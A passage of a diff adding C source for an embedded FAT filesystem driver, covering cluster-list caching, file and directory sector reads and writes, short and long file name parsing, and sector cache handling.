directory cluster list
+//! +//! @return true cluster list found and global variable fs_g_seg updated +//! @return false no found in cluster list caches +//! +Bool fat_cache_clusterlist_update_read( Bool b_for_file ) +{ + uint32_t u32_tmp; + uint8_t u8_i; + for( u8_i=0; u8_i<(FS_NB_CACHE_CLUSLIST*2); u8_i++ ) + { + if( (fs_g_cache_clusterlist[u8_i].b_cache_file == b_for_file) + && (fs_g_cache_clusterlist[u8_i].u8_lun == fs_g_nav.u8_lun ) ) + { + if( fs_g_cache_clusterlist[u8_i].u32_cluster == fs_g_cluster.u32_pos ) + { + if( fs_g_cache_clusterlist[u8_i].u32_start <= fs_g_seg.u32_size_or_pos ) + { + // The segment research is in or after the cache + if( fs_g_cache_clusterlist[u8_i].u32_size > (fs_g_seg.u32_size_or_pos-fs_g_cache_clusterlist[u8_i].u32_start) ) + { + //** The segment research is in cache, then compute the segment infos + fs_g_seg.u32_size_or_pos -= fs_g_cache_clusterlist[u8_i].u32_start; + fs_g_seg.u32_addr = fs_g_cache_clusterlist[u8_i].u32_addr + fs_g_seg.u32_size_or_pos; + fs_g_seg.u32_size_or_pos = fs_g_cache_clusterlist[u8_i].u32_size - fs_g_seg.u32_size_or_pos; + fs_g_u8_current_cache = u8_i; + fat_cache_clusterlist_update_select(); + return true; // the segment is in cluster list cache + }else{ + //** It is after the cache then get cache information and continue to read the cluster list in FAT + // Store the resultat in this cache + fs_g_u8_current_cache = u8_i; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u8_lun = 0xFF; // unvalid cache + // fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_cluster = fs_g_cluster.u32_pos; // It is the same cluster start + + // Get cache information to take time during the next FAT access + // Compute the cluster number corresponding at the last cluster of the cluster list cache + fs_g_cluster.u32_pos = ((fs_g_cache_clusterlist[u8_i].u32_addr -fs_g_nav.u32_ptr_fat - fs_g_nav.u32_offset_data + fs_g_cache_clusterlist[u8_i].u32_size -1) + / fs_g_nav.u8_BPB_SecPerClus) +2; + u32_tmp = fs_g_seg.u32_size_or_pos; // save position ask + // Compute the position of the end of cluster list cache, and decrement the position asked + fs_g_seg.u32_size_or_pos-= ((fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start + fs_g_cache_clusterlist[u8_i].u32_size -1) + / fs_g_nav.u8_BPB_SecPerClus) + * fs_g_nav.u8_BPB_SecPerClus; + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start = u32_tmp; // Update cache with the position asked + return false; // The segment isn't in cluster list cache + } + } + } + } + } + // No found in cache then read FAT and store the resultat in cache + fat_cache_clusterlist_update_start(b_for_file); + return false; +} + +//! @} + + +//! This function gets or clears a cluster list at the current position in the selected file +//! +//! @param mode Choose action
+//! FS_CLUST_ACT_SEG Get memory segment corresponding at the position in selected file
+//! FS_CLUST_ACT_ONE Store in internal cache the sector corresponding at the position in selected file
+//! FS_CLUST_ACT_CLR Clear the cluster list corresponding at the position in selected file
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_nav_entry.u32_cluster First cluster of selected file +//! fs_g_nav_entry.u32_pos_in_file Position in file (unit byte) +//! @endverbatim +//! +Bool fat_read_file( uint8_t mode ) +{ + uint32_t u32_sector_pos; + + // Compute sector position + u32_sector_pos = fs_g_nav_entry.u32_pos_in_file >> FS_512B_SHIFT_BIT; + + if(FS_CLUST_ACT_ONE == mode) + { + if( (fs_g_sectorcache.u8_lun == fs_g_nav.u8_lun ) + && (fs_g_sectorcache.u32_clusterlist_start == fs_g_nav_entry.u32_cluster ) + && (fs_g_sectorcache.u32_clusterlist_pos == u32_sector_pos ) ) + { + return true; // The internal cache contains the sector ascked + } + } + else + { + if( FS_CLUST_ACT_CLR == mode ) + { + // Clear cluster list + if( 0 == fs_g_nav_entry.u32_cluster ) + return true; // No cluster list is linked with the file, then no clear is necessary + + if(0 != (fs_g_nav_entry.u32_pos_in_file & FS_512B_MASK) ) + { + // The actual sector is used, then start clear on the next sector + u32_sector_pos++; + } + } + } + + // Get the segment which start at the current position + fs_g_seg.u32_addr = fs_g_nav_entry.u32_cluster; + fs_g_seg.u32_size_or_pos = u32_sector_pos; + if( FS_CLUST_ACT_ONE != mode ) + { + if( fat_cluster_list( mode, true ) ) + return true; // Get or clear segment OK + } + else + { + if( fat_cluster_list( FS_CLUST_ACT_SEG, true ) ) // Read all segment + { + // Read the sector corresponding at the position file (= first sector of segment) + fs_gu32_addrsector = fs_g_seg.u32_addr ; + if( fat_cache_read_sector( true ) ) + { + fs_g_sectorcache.u32_clusterlist_start = fs_g_nav_entry.u32_cluster; + fs_g_sectorcache.u32_clusterlist_pos = u32_sector_pos; + return true; + } + } + } + if( (FS_CLUST_ACT_CLR == mode ) + && (FS_ERR_OUT_LIST == fs_g_status) ) + { + // It is possible to clear nothing + return true; + } + return false; +} + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function gets and eventually allocs a cluster list at the current position in the selected file +//! +//! @param mode Choose action
+//! FS_CLUST_ACT_SEG Get and eventuelly alloc a cluster list
+//! FS_CLUST_ACT_ONE Get and eventually alloc a cluster list for one sector, and load this sector in internal cache
+//! @param u32_nb_sector_write maximum number of sector to get and eventually to alloc for the selected file (ignored if mode = FS_CLUST_ACT_ONE) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_nav_entry.u32_cluster First cluster of selected file +//! fs_g_nav_entry.u32_pos_in_file Position in the file (unit byte) +//! @endverbatim +//! +Bool fat_write_file( uint8_t mode , uint32_t u32_nb_sector_write ) +{ + if( 0 == fs_g_nav_entry.u32_cluster ) + { + // File don't have a cluster list, then alloc the first cluster list of the file + MSB0(fs_g_seg.u32_addr) = 0xFF; // It is a new cluster list + // Update cluster list caches + // fs_g_cluster.u32_pos = ? // To fill after alloc + fs_g_seg.u32_size_or_pos = 0; + fat_cache_clusterlist_update_start(true); + } + else + { + if( fat_read_file( mode ) ) + return true; // A segment is availabled (no alloc necessary) + + if( FS_ERR_OUT_LIST != fs_g_status ) + { + return false; // Error system + } + // fat_read_file is outsize the list then the current cluster list cache contains the last cluster + + // Initialize cluster list caches before alloc routine + fs_g_cache_clusterlist[fs_g_u8_current_cache].u8_lun = 0xFF; // unvalid cache + // fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_cluster = fs_g_cluster.u32_pos; // it is the same + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_start += fs_g_nav.u8_BPB_SecPerClus; // Position of next cluster (the first new) + } + + // Alloc a cluster list + if( FS_CLUST_ACT_SEG == mode ) + { + fs_g_seg.u32_size_or_pos = u32_nb_sector_write; + }else{ + fs_g_seg.u32_size_or_pos = 1; // only one sector + } + + //note: fs_g_seg.u32_addr is already initialized with the last cluster value (see fat_cluster_list()) + if( !fat_allocfreespace()) + return false; + //note: fs_g_seg.u32_addr is the first cluster of the cluster list allocated by alloc_free_space() + //note: fs_g_seg.u32_size_or_pos = number of sectors remaining + + if( 0 == fs_g_nav_entry.u32_cluster ) + { + // It is the first cluster list of file, then update following values in cluster list cache + // fs_g_seg.u32_addr = already contzins the first cluster of the file (see alloc_free_space()) + fs_g_cache_clusterlist[fs_g_u8_current_cache].u32_cluster = fs_g_seg.u32_addr; + // Update file entry + fs_g_nav_entry.u32_cluster = fs_g_seg.u32_addr; + } + + // Update cluster list cache + if( FS_CLUST_ACT_SEG == mode ) + { + fs_g_seg.u32_size_or_pos = u32_nb_sector_write - fs_g_seg.u32_size_or_pos; + }else{ + fs_g_seg.u32_size_or_pos = 1 - fs_g_seg.u32_size_or_pos; + } + fs_g_seg.u32_addr = ((fs_g_seg.u32_addr - 2) * fs_g_nav.u8_BPB_SecPerClus) + + fs_g_nav.u32_ptr_fat + fs_g_nav.u32_offset_data; + fat_cache_clusterlist_update_finish(); + + return fat_read_file( mode ); // load the new cluster list +} +#endif // FS_LEVEL_FEATURES + +//! This function fill the internal cache with a sector from current directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_nav.u32_cluster_sel_dir First cluster of current directory +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory (unit entry) +//! @endverbatim +//! +Bool fat_read_dir( void ) +{ + uint32_t u32_cluster_pos; + + // Compute the cluster list position corresponding of the current entry + u32_cluster_pos = fs_g_nav_fast.u16_entry_pos_sel_file >> (FS_512B_SHIFT_BIT - FS_SHIFT_B_TO_FILE_ENTRY); + + if( (fs_g_sectorcache.u8_lun == fs_g_nav.u8_lun ) + && (fs_g_sectorcache.u32_clusterlist_start == fs_g_nav.u32_cluster_sel_dir ) + && (fs_g_sectorcache.u32_clusterlist_pos == u32_cluster_pos ) ) + { + return true; // The internal cache contains the sector ascked + } + + // Get sector address corresponding at cluster list position + fs_g_seg.u32_addr = fs_g_nav.u32_cluster_sel_dir; + fs_g_seg.u32_size_or_pos = u32_cluster_pos; + if( fat_cluster_list( FS_CLUST_ACT_ONE, false ) ) + { + // Read the sector + fs_gu32_addrsector = fs_g_seg.u32_addr; + if( fat_cache_read_sector( true ) ) + { + // Update information about internal sector cache + fs_g_sectorcache.u32_clusterlist_start = fs_g_nav.u32_cluster_sel_dir; + fs_g_sectorcache.u32_clusterlist_pos = u32_cluster_pos; + return true; + } + } + return false; +} + + + +//! This function checks the entry +//! +//! @param b_type entry type to compare (FS_FILE or FS_DIR) +//! +//! @return true, the entry is a short entry and correspond to b_type +//! @return false, otherwise +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! @endverbatim +//! +Bool fat_entry_check( Bool b_type ) +{ + PTR_CACHE u8_ptr_entry; + uint8_t u8_first_byte, u8_seconde_byte; + uint8_t u8_attribut; + + u8_ptr_entry = fat_get_ptr_entry(); + + u8_first_byte = u8_ptr_entry[0]; + if ( FS_ENTRY_END == u8_first_byte ) + { + fs_g_status = FS_ERR_ENTRY_EMPTY; // end of directory + return false; + } + fs_g_status = FS_ERR_ENTRY_BAD; // by default BAD ENTRY + if ( FS_ENTRY_DEL == u8_first_byte ) { return false; } // entry deleted + if ( '.' == u8_first_byte ) { return false; } // current dir "." + u8_seconde_byte = u8_ptr_entry[1]; + if ( ('.' == u8_first_byte) + && ('.' == u8_seconde_byte) ) { return false; } // current dir ".." + + // Check attribut + u8_attribut = u8_ptr_entry[11]; + if ( FS_ATTR_VOLUME_ID & u8_attribut ) { return false; } // volume id + // Optimization, this line isn't necessary because the next test control this case + // if ( FS_ATTR_LFN_ENTRY == *u8_ptr_entry) { return false; } // long file name + + // Check entry type + if( FS_ATTR_DIRECTORY & u8_attribut ) + { + return (FS_DIR == b_type); + }else{ + return (FS_FILE == b_type); + } +} + + +//! This function checks the file extension +//! +//! @param sz_filter extension filter is a ASCII string (ex: "mp3,w*" ) +//! +//! @return true, the file name have a good extension +//! @return false, otherwise +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! @endverbatim +//! +Bool fat_entry_checkext( FS_STRING sz_filter ) +{ + PTR_CACHE u8_ptr_entry; + uint8_t u8_i, u8_filter_char, u8_entry_char; + + u8_ptr_entry = fat_get_ptr_entry(); + + // Compare the extension with filter + for( u8_i=0 ; u8_i<3 ; u8_i++) + { + u8_filter_char = *sz_filter; + if ('*' == u8_filter_char) + break; // All extension is good + + u8_entry_char = u8_ptr_entry[8+u8_i]; + + // Compare the extension filter to extension file (this one ignore the case) + if( (u8_filter_char!= u8_entry_char ) + && (u8_filter_char!= (u8_entry_char+('a'-'A'))) ) + { + if ( (',' == u8_filter_char) + || ( 0 == u8_filter_char) ) + { + // It is the end of filter + if (' ' == u8_entry_char) + break; // it is the end of extension file -> extension good + } + // here, bad extension + + // Search the next filter + while( ',' != u8_filter_char ) + { + if (0 == u8_filter_char) + { + return false; // it is the last filter + } + sz_filter++; + u8_filter_char = *sz_filter; + } + u8_i = 0xFF; // restart loop compare + } + sz_filter++; // go to next char of filter + } + + return true; // It is a good extension +} + + +//! This function reads information about selected file +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! OUT: +//! fs_g_nav_entry. u32_cluster, u8_attr, u32_size +//! @endverbatim +//! +void fat_get_entry_info( void ) +{ + PTR_CACHE ptr_entry; + + ptr_entry = fat_get_ptr_entry(); + + // Get attribut + ptr_entry+= 11; + fs_g_nav_entry.u8_attr = ptr_entry[0]; + + // Get the first cluster of the file cluster list + ptr_entry += (20-11); + LSB2(fs_g_nav_entry.u32_cluster) = ptr_entry[0]; + LSB3(fs_g_nav_entry.u32_cluster) = ptr_entry[1]; + ptr_entry += (26-20); + LSB0(fs_g_nav_entry.u32_cluster) = ptr_entry[0]; + LSB1(fs_g_nav_entry.u32_cluster) = ptr_entry[1]; + + // Get the size of file + ptr_entry += (28-26); + LSB0(fs_g_nav_entry.u32_size) = ptr_entry[0]; + LSB1(fs_g_nav_entry.u32_size) = ptr_entry[1]; + LSB2(fs_g_nav_entry.u32_size) = ptr_entry[2]; + LSB3(fs_g_nav_entry.u32_size) = ptr_entry[3]; +} + + +//! This function checks if the entry file is a directory +//! +//! @return true, this entry is a directory +//! @return false, otherwise +//! +Bool fat_entry_is_dir(void) +{ + fs_g_status = FS_ERR_NO_DIR; + return (FS_ATTR_DIRECTORY & fs_g_nav_entry.u8_attr); +} + + +//! This function resets the selection pointers +//! +void fat_clear_entry_info_and_ptr( void ) +{ + fs_g_nav_fast.u16_entry_pos_sel_file= FS_NO_SEL; + fs_g_nav.u16_pos_sel_file = FS_NO_SEL; + if( !fs_g_nav.b_mode_nav_single ) + { + fs_g_nav.b_mode_nav = FS_DIR; + } + fs_g_nav_entry.u8_attr = 0; + fs_g_nav_entry.u32_cluster = 0; + fs_g_nav_entry.u32_size = 0; + Fat_file_close(); +} + + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! This function writes the information about selected file +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! OUT: +//! fs_g_sector Updated +//! @endverbatim +//! +void fat_write_entry_file( void ) +{ + PTR_CACHE ptr_entry; + + fat_cache_mark_sector_as_dirty(); + ptr_entry = fat_get_ptr_entry(); + + if( !(FS_ATTR_DIRECTORY | fs_g_nav_entry.u8_attr)) + { + if( 0 == fs_g_nav_entry.u32_size ) + fs_g_nav_entry.u32_cluster = 0; + } + + //! Write the attribut + ptr_entry+= 11; + ptr_entry[0] = fs_g_nav_entry.u8_attr; + + // Write the first cluster of file cluster list + ptr_entry += (20-11); + ptr_entry[0] = LSB2(fs_g_nav_entry.u32_cluster); + ptr_entry[1] = LSB3(fs_g_nav_entry.u32_cluster); + ptr_entry += (26-20); + ptr_entry[0] = LSB0(fs_g_nav_entry.u32_cluster); + ptr_entry[1] = LSB1(fs_g_nav_entry.u32_cluster); + + //! Write the size of file + ptr_entry += (28-26); + ptr_entry[0] = LSB0(fs_g_nav_entry.u32_size); + ptr_entry[1] = LSB1(fs_g_nav_entry.u32_size); + ptr_entry[2] = LSB2(fs_g_nav_entry.u32_size); + ptr_entry[3] = LSB3(fs_g_nav_entry.u32_size); +} +#endif // FS_LEVEL_FEATURES + + +//! This function returns or compares the short name entry +//! +//! @param b_mode action mode:
+//! FS_NAME_GET to get the short name of selected file
+//! FS_NAME_CHECK to compare the short name of selected file
+//! @param sz_name if FS_NAME_GET then buffer to store the short name file (ASCII or UNICODE )
+//! if FS_NAME_CHECK then name to compare with short name (ASCII or UNICODE), +//! it must be terminate by NULL or '*' value
+//! @param u8_size_max buffer size (unit ASCII or UNICODE ) (ignored in "FS_NAME_CHECK" mode) +//! +//! @return false, in case of error, see global value "fs_g_status" for more detail +//! @return true, the name is correct or read OK +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! @endverbatim +//! +Bool fat_entry_shortname( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode ) +{ + Bool b_extension_nostart = true; + uint8_t u8_pos_name; + uint8_t u8_entry_char, u8_szname_char; + PTR_CACHE ptr_entry; + uint8_t u8_pos_entry; + + fs_g_status = FS_ERR_NAME_INCORRECT; // by default the name don't corresponding at filter name + + u8_pos_name = 0; + u8_pos_entry = 0; + ptr_entry = fat_get_ptr_entry(); + + // for each characters of short name + while( 1 ) + { + if( FS_SIZE_SFNAME == u8_pos_entry ) + { + u8_entry_char = 0; // end of name + } + else + { + u8_entry_char = ptr_entry[ u8_pos_entry ]; + if( ((FS_SIZE_SFNAME_WITHOUT_EXT == u8_pos_entry) && b_extension_nostart) // end of name and '.' character no writed + || ( ' ' == u8_entry_char) ) + { + // end of name or extension + if( (FS_SIZE_SFNAME_WITHOUT_EXT >= u8_pos_entry) // End of name without extension + && (' ' != ptr_entry[ FS_SIZE_SFNAME_WITHOUT_EXT ]) ) // extension exists + { + // go to extension position + b_extension_nostart = false; + u8_pos_entry = FS_SIZE_SFNAME_WITHOUT_EXT-1; + u8_entry_char = '.'; + } + else + { + u8_entry_char = 0; // end of name + } + } + } + + if( FS_NAME_GET == b_mode ) + { + if( !g_b_string_length ) + { + if(u8_pos_name >= (u8_size_max-1)) + u8_entry_char = 0; // buffer full then force end of string + + if( ('A'<=u8_entry_char) && (u8_entry_char<='Z')) + u8_entry_char += ('a'-'A'); // display short name in down case + + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_name)[0] = u8_entry_char; + }else{ + sz_name[0] = u8_entry_char; + } + } + } + else + { + // Compare the name + if( Is_unicode + && (0 != MSB(((FS_STR_UNICODE)sz_name)[0])) ) + { + // The UNICODE is not possibled in short name + return false; + } + + if( Is_unicode ) + { + u8_szname_char = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + u8_szname_char = sz_name[0]; + } + if ('*' == u8_szname_char) + { // end of filter name which authorise all next character + return true; //*** The name is correct *** + } + + if( (0 != u8_entry_char) || (('\\' != u8_szname_char) && ('/' != u8_szname_char)) ) + { + if((u8_szname_char != u8_entry_char) + && (u8_szname_char != (u8_entry_char+('a'-'A'))) ) // no case sensitive + return false; // short name not equal + } + } + + // For each characters + if (0 == u8_entry_char) + { + if( g_b_string_length ) + { + ((FS_STR_UNICODE)sz_name)[0] = u8_pos_name+1; // Get length name + } + return true; // End of test correct or end of get name + } + if( !g_b_string_length ) + { + sz_name += (Is_unicode? 2 : 1 ); + } + u8_pos_name++; + u8_pos_entry++; + } +} + + +//! This function returns or compares the long name entry +//! +//! @param b_mode action mode:
+//! FS_NAME_GET to get the long name of selected file
+//! FS_NAME_CHECK to compare the long name of selected file
+//! @param sz_name if FS_NAME_GET then buffer to store the long name file (ASCII or UNICODE )
+//! if FS_NAME_CHECK then name to compare with long name (ASCII or UNICODE), +//! it must be terminate by NULL or '*' value
+//! +//! @param b_match_case false, ignore the case (only used in "FS_NAME_CHECK" action mode) +//! @param u8_size_max buffer size (unit ASCII or UNICODE ) (ignored in "FS_NAME_CHECK" mode) +//! +//! @return false is not the end of long name, or in case of error, see global value "fs_g_status" for more detail +//! @return true, the name is correct or read is finish +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_sector The directory sector corresponding at the current position +//! fs_g_nav_fast.u16_entry_pos_sel_file Position in directory of the entry file (unit entry) +//! @endverbatim +//! +Bool fat_entry_longname( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode , Bool b_match_case ) +{ + uint8_t u8_pos_name; + PTR_CACHE ptr_entry; + uint16_t u16_unicode_entry; + uint16_t u16_unicode_szname; + + ptr_entry = fat_get_ptr_entry(); + + if( (FS_ENTRY_END == *ptr_entry ) // end of directory + || (FS_ENTRY_DEL == *ptr_entry ) // entry deleted + || (FS_ATTR_LFN_ENTRY != ptr_entry[11]) ) // no long name + { + fs_g_status = FS_ERR_ENTRY_BAD; + return false; + } + + if( g_b_string_length ) + { + if ( 0 == (FS_ENTRY_LFN_LAST & *ptr_entry)) + { + // no necessary -> ((FS_STR_UNICODE)sz_name)[0] = FS_SIZE_LFN_ENTRY; + fs_g_status = FS_NO_LAST_LFN_ENTRY; + return false; // Other entry long name + } + } + + ptr_entry++; // The long name start at offset 1 of the entry file + + u8_pos_name=0; + while( 1 ) + { + LSB(u16_unicode_entry) = ptr_entry[0]; + MSB(u16_unicode_entry) = ptr_entry[1]; + if( FS_NAME_GET == b_mode ) + { + if( !g_b_string_length ) + { + // Check the end of buffer + if( u8_pos_name>=(u8_size_max-1) ) + { + // Write end of string + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_name)[0] = 0; + }else{ + sz_name[0] = 0; + } + return true; // the buffer is full + } + // Read and store the long name + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_name)[0] = u16_unicode_entry; + }else{ + sz_name[0] = (uint8_t)u16_unicode_entry; + } + } + } + else + { + if( Is_unicode ) + { + u16_unicode_szname = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + u16_unicode_szname = sz_name[0]; + } + // Check the name + if( '*' == u16_unicode_szname ) + { // end of filter name which authorise all next character + return true; //*** The name is correct *** + } + + if( ((0 != u16_unicode_entry ) || (( '\\' != u16_unicode_szname) && ( '/' != u16_unicode_szname)) ) + && ((u16_unicode_szname != (u16_unicode_entry+('a'-'A'))) || b_match_case) + && ((u16_unicode_szname != (u16_unicode_entry-('a'-'A'))) || b_match_case) + && (u16_unicode_szname != u16_unicode_entry) ) + { + fs_g_status = FS_ERR_NAME_INCORRECT; // The name don't corresponding at filter name + return false; + } + } + + if( 0 == u16_unicode_entry) + { + if( g_b_string_length ) + { + ((FS_STR_UNICODE)sz_name)[0] = u8_pos_name+1; + } + return true; // Last long name entry + } + if( 4 == u8_pos_name ) + ptr_entry += 3; // Go to second character + + if( 10 == u8_pos_name ) + ptr_entry += 2; // Go to third character + + if( 12 == u8_pos_name ) + { // End of entry long name + ptr_entry -= (FS_SIZE_FILE_ENTRY-2); // Go to the first byte of the file entry + if ( 0 == (FS_ENTRY_LFN_LAST & ptr_entry[0])) + { + fs_g_status = FS_NO_LAST_LFN_ENTRY; + return false; // Other long name entry is present + } + else + { // It is the last long name entry + // then it is the end of name + if( (FS_NAME_GET == b_mode) && g_b_string_length ) + { + ((FS_STR_UNICODE)sz_name)[0] = 14; + return true; + } + sz_name += (Is_unicode? 2 : 1 ); + if( FS_NAME_GET == b_mode ) + { + // Write end of string UNICODE + if( Is_unicode ) + { + ((FS_STR_UNICODE)sz_name)[0] = 0; + }else{ + sz_name[0] = 0; + } + return true; + } + else + { + // if it is the end of filter + if( Is_unicode ) + { + u16_unicode_szname = ((FS_STR_UNICODE)sz_name)[0]; + }else{ + u16_unicode_szname = sz_name[0]; + } + return fat_check_eof_name(u16_unicode_szname); + } + } + } + + if( !g_b_string_length ) + { + sz_name += (Is_unicode? 2 : 1 ); + } + u8_pos_name++; + ptr_entry+=2; + } +} + + +//! Check end of name +//! +//! @param character value of character to check +//! +//! @return true, it is a character to signal a end of name (0,'\\','/') +//! @return false, otherwise +//! +Bool fat_check_eof_name( uint16_t character ) +{ + return (('\0'==character)||('\\'==character)||('/'==character)); +} + + +//! This function returns a cache pointer on the current entry +//! +//! @return a pointer on the internal cache +//! +PTR_CACHE fat_get_ptr_entry( void ) +{ + return &fs_g_sector[(fs_g_nav_fast.u16_entry_pos_sel_file * FS_SIZE_FILE_ENTRY) & FS_512B_MASK]; +} + + +//! This function loads a memory sector in internal cache sector +//! +//! @param b_load true, load the cache with the memory sector corresponding
+//! false, Don't change the sector cache but change the memory address of cache
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Global variable used +//! IN : +//! fs_g_nav.u8_lun drive number to read +//! fs_gu32_addrsector address to read (unit sector) +//! @endverbatim +//! +Bool fat_cache_read_sector( Bool b_load ) +{ + // Check if the sector asked is the same in cache + if( (fs_g_sectorcache.u8_lun == fs_g_nav.u8_lun ) + && (fs_g_sectorcache.u32_addr == fs_gu32_addrsector ) ) + { + return true; + } + + // Write previous cache before fill cache with a new sector + if( !fat_cache_flush()) + return false; + + // Delete informations about the caches + fat_cache_reset(); + + // Init sector cache + fs_g_sectorcache.u32_addr = fs_gu32_addrsector; + if( b_load ) + { + // Load the sector from memory + if( CTRL_GOOD != memory_2_ram( fs_g_nav.u8_lun , fs_g_sectorcache.u32_addr, fs_g_sector)) + { + fs_g_status = FS_ERR_HW; + return false; + } + } + // Valid sector cache + fs_g_sectorcache.u8_lun = fs_g_nav.u8_lun; + return true; +} + + +//! This function resets the sector cache +//! +void fat_cache_reset( void ) +{ + fs_g_sectorcache.u8_lun = FS_BUF_SECTOR_EMPTY; + fs_g_sectorcache.u8_dirty = false; + fs_g_sectorcache.u32_clusterlist_start = 0xFFFFFFFF; +} + + +#if (FS_LEVEL_FEATURES > FSFEATURE_READ) +//! This function clears the sector cache +//! +void fat_cache_clear( void ) +{ + memset( fs_g_sector , 0 , FS_CACHE_SIZE ); +} + + +//! This function sets a flag to signal that sector cache is modified +//! +void fat_cache_mark_sector_as_dirty( void ) +{ + fs_g_sectorcache.u8_dirty = true; +} +#endif // FS_LEVEL_FEATURES + + +//! This function flushs the sector cache on the memory if necessary +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool fat_cache_flush( void ) +{ + // If the cache is modified, then write the sector cache on the device + if ( true == fs_g_sectorcache.u8_dirty ) + { + fs_g_sectorcache.u8_dirty = false; // Always clear, although an error occur + if( mem_wr_protect( fs_g_sectorcache.u8_lun )) + { + fs_g_status = FS_LUN_WP; + return false; + } + if (CTRL_GOOD != ram_2_memory( fs_g_sectorcache.u8_lun , fs_g_sectorcache.u32_addr , fs_g_sector )) + { + fs_g_status = FS_ERR_HW; + return false; + } + } + return true; +} + + + +#if (FS_NB_NAVIGATOR > 1) +//! This function checks write access +//! +//! @return true, write access on disk possibled +//! @return false, File open then write access not possibled +//! +Bool fat_check_nav_access_disk( void ) +{ + uint8_t i; + + // For each navigators + for( i=0 ; i!=(FS_NB_NAVIGATOR-1) ; i++ ) + { + // Disk mounted ? + if( FS_TYPE_FAT_UNM != fs_g_navext_fast[i].u8_type_fat ) + // Is it the same disk ? + if( fs_g_nav.u8_lun == fs_g_navext[i].u8_lun ) + // Is it access file ? + if( fs_g_navext_entry[i].u8_open_mode!=0 ) + { + fs_g_status = FS_ERR_FILE_OPEN; + return false; // File opened then write access not possibled + } + } + return true; +} + + +//! This function checks all access at current file +//! +//! @param mode true, check to write access
+//! false, check to read access
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail :
+//! mode true, File opened then write access not possibles
+//! mode false, File opened in write mode then read access not possibles
+//! @return true, access file possibles +//! +Bool fat_check_nav_access_file( Bool mode ) +{ + uint8_t i; + + // For each navigators + for( i=0 ; i!=(FS_NB_NAVIGATOR-1) ; i++ ) + { + // Disk mounted ? + if( FS_TYPE_FAT_UNM != fs_g_navext_fast[i].u8_type_fat ) + // Is it the same disk ? + if( fs_g_nav.u8_lun == fs_g_navext[i].u8_lun ) +#if (FS_MULTI_PARTITION == ENABLED) + // Is it the same partition ? + if( fs_g_nav.u8_partition == fs_g_navext[i].u8_partition ) +#endif + // Is it the same directory ? + if( fs_g_nav.u32_cluster_sel_dir == fs_g_navext[i].u32_cluster_sel_dir ) + // Is it the same file ? + if( fs_g_nav_fast.u16_entry_pos_sel_file == fs_g_navext_fast[i].u16_entry_pos_sel_file ) + { + if( mode ) + { + // Is it open ? + if( fs_g_navext_entry[i].u8_open_mode!=0 ) + { + fs_g_status = FS_ERR_FILE_OPEN; + return false; // File opened then write access not possibled + } + } + else + { + // Is it open in write mode ? + if( fs_g_navext_entry[i].u8_open_mode & FOPEN_WRITE_ACCESS ) + { + fs_g_status = FS_ERR_FILE_OPEN_WR; + return false; // File opened in write mode then read access not possibled + } + } + } + } + return true; +} + + +//! This function inverts the current navigation with another +//! +//! @param u8_idnav Id navigator to invert +//! +void fat_invert_nav( uint8_t u8_idnav ) +{ + _MEM_TYPE_SLOW_ uint8_t Temp[Max(Max(sizeof(Fs_management),sizeof(Fs_management_entry)),sizeof(Fs_management_fast))]; + + if( u8_idnav == 0 ) + return; + u8_idnav--; + + memcpy_ram2ram(Temp, (uint8_t*)&fs_g_nav, sizeof(Fs_management)); + memcpy_ram2ram((uint8_t*)&fs_g_nav, (uint8_t*)&fs_g_navext[u8_idnav], sizeof(Fs_management)); + memcpy_ram2ram((uint8_t*)&fs_g_navext[u8_idnav], Temp, sizeof(Fs_management)); + + memcpy_ram2ram(Temp, (uint8_t*)&fs_g_nav_entry, sizeof(Fs_management_entry)); + memcpy_ram2ram((uint8_t*)&fs_g_nav_entry, (uint8_t*)&fs_g_navext_entry[u8_idnav], sizeof(Fs_management_entry)); + memcpy_ram2ram((uint8_t*)&fs_g_navext_entry[u8_idnav], Temp, sizeof(Fs_management_entry)); + + memcpy_ram2ram(Temp, (uint8_t*)&fs_g_nav_fast, sizeof(Fs_management_fast)); + memcpy_ram2ram((uint8_t*)&fs_g_nav_fast, (uint8_t*)&fs_g_navext_fast[u8_idnav], sizeof(Fs_management_fast)); + 